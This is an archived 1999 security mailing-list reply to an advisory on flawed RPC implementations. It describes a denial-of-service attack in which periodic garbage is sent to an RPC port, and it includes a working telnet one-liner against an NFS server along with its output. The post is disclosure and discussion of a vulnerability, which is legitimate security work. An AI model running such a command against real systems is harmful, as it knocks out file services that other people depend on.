Re: KKIS.08041999.001.b - security raport - flaws in rpc part of

From: Peter van Dijk (peterat_private)
Date: Thu Apr 15 1999 - 12:46:34 PDT

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    On Wed, Apr 14, 1999 at 03:26:14PM +0200, Lukasz Luzar wrote:
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    >                                S E C U R I T Y
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    > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    > KKI Security Team                         Cracow Commercial Internet, Poland
    > http://www.security.kki.pl                http://www.kki.pl
    > mailto:securityat_private           mailto:biuroat_private
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    > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    > Raport title        : Lack of RPC's implementation in libc libraries
    >                       and how it affects for example portmap.
    
    A much easier DOS is obtained by connecting to an RPC port and just sending some random
    (most will do) garbage every 5 seconds. Note that this _does_ affect the UDP services
    in the same daemons. I have seen this bug in _every_ RPC implementation, with a few
    exceptions: mcserv (which does not really use the RPC protocol, only the portmapper),
    Sun's own nfsd [although their portmapper is buggy], and NetApp boxes.
    
    To wit:
    [root@koek] ~# ( while true ; do echo ; sleep 5 ; done ) | telnet zopie 2049
    Trying 10.10.13.1...
    Connected to zopie.attic.vuurwerk.nl.
    Escape character is '^]'.
    NFS server zopie not responding, still trying.
    Connection closed by foreign host.
    [root@koek] ~# NFS server zopie OK.
    
    
    Right after I started the telnet, I switched to another VC and did ls /zopie, the NFS
    mounted disk. The ls did not give any output until I ctrl-C'ed the telnet.
    
    Greetz, Peter
    --
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